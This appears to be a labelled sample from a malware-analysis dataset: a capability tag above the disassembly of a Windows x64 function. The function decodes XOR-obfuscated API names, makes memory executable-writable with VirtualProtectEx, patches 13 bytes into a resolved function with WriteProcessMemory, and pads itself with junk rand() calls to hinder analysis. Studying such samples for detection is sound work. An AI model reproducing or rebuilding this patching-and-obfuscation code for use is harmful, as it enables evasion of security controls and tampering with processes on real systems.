Function at 0x1400017e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x50
push rcx
pop rsi
nop
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 9
call sub.msvcrt.dll_malloc
or edi, edi
mov r14d, 0x31
mov ecx, 0xd3
cmove ecx, r14d
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c050]
mov ebp, 0xd3
movd dword [rax], xmm0
mov edx, ecx
xor dl, 0xfd
mov byte [rax + 4], dl
mov edx, ecx
xor dl, 0xb7
mov byte [rax + 5], dl
xor cl, 0xbf
mov byte [rax + 6], cl
mov byte [rax + 7], cl
mov byte [rax + 8], 0
push rax
nop
pop rcx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
push rax
pop rdi
nop
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or ebx, ebx
cmove ebp, r14d
movd xmm0, ebp
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c060]
movq qword [rax], xmm0
mov ecx, ebp
xor cl, 0x91
mov byte [rax + 8], cl
mov ecx, ebp
xor cl, 0xa6
mov byte [rax + 9], cl
mov ecx, ebp
xor cl, 0xb5
mov byte [rax + 0xa], cl
mov byte [rax + 0xb], cl
mov ecx, ebp
xor cl, 0xb6
mov byte [rax + 0xc], cl
xor bpl, 0xa1
mov byte [rax + 0xd], bpl
mov byte [rax + 0xe], 0
push rdi
pop rcx
nop
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
push rax
nop
pop rdi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 2
je 0x1400018d0
movabs rax, 0xc302090209057dfd
mov qword [rsp + 0x35], rax
movabs rax, 0x57dfdfe4e05c031
mov qword [rsp + 0x30], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov dword [rsp + 0x2c], 0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x21
je 0x140001940
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x4d
je 0x140001950
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
lea rbx, [rsp + 0x2c]
mov qword [rsp + 0x20], rbx
mov r8d, 0x1000
push rsi
pop rcx
nop
nop
push rdi
pop rdx
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf7
je 0x1400019b0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x30]
mov r9d, 0xd
nop
push rsi
pop rcx
nop
push rdi
pop rdx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x1b
je 0x140001a00
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf
je 0x140001a10
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov r9d, dword [rsp + 0x2c]
mov qword [rsp + 0x20], rbx
mov r8d, 0x1000
nop
push rsi
pop rcx
nop
push rdi
pop rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
or eax, eax
je 0x140001a50
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x14
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xd3
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c070]
pxor xmm1, xmm0
movq qword [rax], xmm1
mov edx, ecx
xor dl, 0xbb
mov byte [rax + 8], dl
mov edx, ecx
xor dl, 0xb6
mov byte [rax + 9], dl
mov edx, ecx
xor dl, 0xb7
mov byte [rax + 0xa], dl
movdqa xmmword [rsp + 0x40], xmm1
movzx edx, byte [rsp + 0x43]
movzx r8d, byte [rsp + 0x45]
mov byte [rax + 0xb], dl
pxor xmm0, xmmword [0x14000c080]
mov byte [rax + 0xc], r8b
movd dword [rax + 0xd], xmm0
mov edx, ecx
xor dl, 0x8f
mov byte [rax + 0x11], dl
xor cl, 0xbd
mov byte [rax + 0x12], cl
mov byte [rax + 0x13], 0
push rax
pop rcx
nop
call fcn.140001b20
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
add rsp, 0x50
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret